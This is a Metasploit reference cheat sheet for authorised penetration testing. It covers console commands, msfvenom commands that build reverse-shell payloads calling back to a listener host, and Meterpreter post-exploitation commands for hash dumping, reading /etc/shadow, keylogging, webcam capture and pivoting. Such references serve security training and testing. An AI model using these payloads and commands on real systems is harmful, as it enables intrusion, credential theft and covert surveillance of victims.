# Metasploit Basics

Common modules, workflow patterns, and post-exploitation tricks. For authorised testing only.

## Console Essentials

| | |
|---|---|
| `msfconsole -q` | Start console without banner |
| `help / ?` | List all commands |
| `search type:exploit name:smb` | Find SMB exploits |
| `use exploit/multi/handler` | Load module by full path |
| `use 0` | Load result #0 from last search |
| `show options` | Required and optional settings |
| `show advanced` | Advanced module options |
| `show payloads` | Compatible payloads for current module |
| `set RHOSTS 10.0.0.5` | Set target |
| `setg RHOSTS 10.0.0.5` | Set globally for all modules |
| `unset RHOSTS` | Clear value |
| `back` | Leave current module |
| `exploit / run` | Launch |
| `exploit -j` | Run as background job |
| `jobs` | List active jobs |
| `sessions -l` | List active sessions |
| `sessions -i 1` | Interact with session 1 |
| `background / Ctrl-Z` | Background current session |

## Module Categories

| | |
|---|---|
| `exploit/...` | Code execution against vuln |
| `payload/...` | Code that runs post-exploitation |
| `auxiliary/...` | Scanners, fuzzers, DoS, login brute |
| `post/...` | Run on existing session (privesc, loot) |
| `encoder/...` | Avoid bad chars / IDS evasion |
| `nop/...` | NOP sleds for buffer overflow |
| `evasion/...` | AV evasion modules |

## Workspaces & DB

| | |
|---|---|
| `workspace -a engagement` | New workspace |
| `workspace engagement` | Switch |
| `db_status` | Confirm DB connection |
| `db_nmap -sV target` | Run nmap and import results |
| `hosts` | List discovered hosts |

© 2026 SudoFlare · Free to share, do not resell

| | |
|---|---|
| `services -p 80` | List services on port 80 |
| `vulns` | Detected vulnerabilities |
| `creds` | Captured credentials |
| `loot` | Files exfiltrated |
| `db_export -f xml out.xml` | Export findings |

## Common Payloads

| | |
|---|---|
| `windows/x64/meterpreter/reverse_tcp` | Win64 reverse Meterpreter |
| `linux/x64/meterpreter/reverse_tcp` | Linux reverse Meterpreter |
| `windows/x64/shell_reverse_tcp` | Plain reverse shell |
| `cmd/unix/reverse_bash` | No-binary bash reverse shell |
| `python/meterpreter/reverse_tcp` | Python Meterpreter |
| `java/meterpreter/reverse_tcp` | Java cross-platform |
| `php/meterpreter/reverse_tcp` | PHP webshell upgrade |

© 2026 SudoFlare · Free to share, do not resell

## msfvenom — Payload Generation

```
# Windows reverse Meterpreter EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.0.0.5 LPORT=4444 -f exe -o shell.exe

# PHP one-liner
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=10.0.0.5 LPORT=4444 -f raw -o sh.php

# ELF binary for Linux target
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=10.0.0.5 LPORT=4444 -f elf -o sh.elf

# Listener side (always)
msfconsole -q -x \
"use multi/handler;
set PAYLOAD windows/x64/meterpreter/reverse_tcp;
set LHOST 10.0.0.5;
set LPORT 4444;
run"
```

## Meterpreter Cheatsheet

| | |
|---|---|
| `sysinfo` | OS, arch, hostname |
| `getuid / getsystem` | Current user / try local privesc |
| `hashdump` | Dump local SAM hashes |
| `shell` | Drop to native shell |
| `upload local /tmp/x` | Upload file to target |
| `download /etc/shadow` | Download file from target |
| `cat / pwd / cd / ls` | Filesystem nav |
| `ps / kill PID` | Process control |
| `migrate PID` | Move into another process |
| `portfwd add -l 8080 -p 80 -r tgt` | Local pivot port forward |
| `route add 10.1.1.0 255.255.255.0 1` | Route through session |
| `screenshot` | Capture desktop |
| `keyscan_start / keyscan_dump` | Keylogger |
| `webcam_snap / webcam_stream` | Capture webcam |
| `run post/multi/recon/local_exploit_suggester` | Find privesc paths |

## Auxiliary Highlights

| | |
|---|---|
| `auxiliary/scanner/portscan/tcp` | Lightweight TCP port scan |
| `auxiliary/scanner/smb/smb_version` | Identify SMB versions |
| `auxiliary/scanner/ssh/ssh_login` | SSH credential brute |

© 2026 SudoFlare · Free to share, do not resell

| | |
|---|---|
| `auxiliary/scanner/http/http_login` | HTTP basic auth brute |
| `auxiliary/scanner/snmp/snmp_login` | SNMP community string brute |
| `auxiliary/admin/smb/psexec_command` | Run command via SMB |

## Workflow Pattern

1. **Recon** — db_nmap target range, build hosts/services/vulns table.
2. **Identify** — search for matching exploits by service/version.
3. **Configure** — show options, set RHOSTS/LHOST/LPORT, pick payload.
4. **Test on copy first** — verify exploit works in lab before live.
5. **Exploit** — run with -j to background.
6. **Post** — migrate, persist (carefully + only if scope), loot creds, pivot.
7. **Document** — every command into your report log.

© 2026 SudoFlare · Free to share, do not resell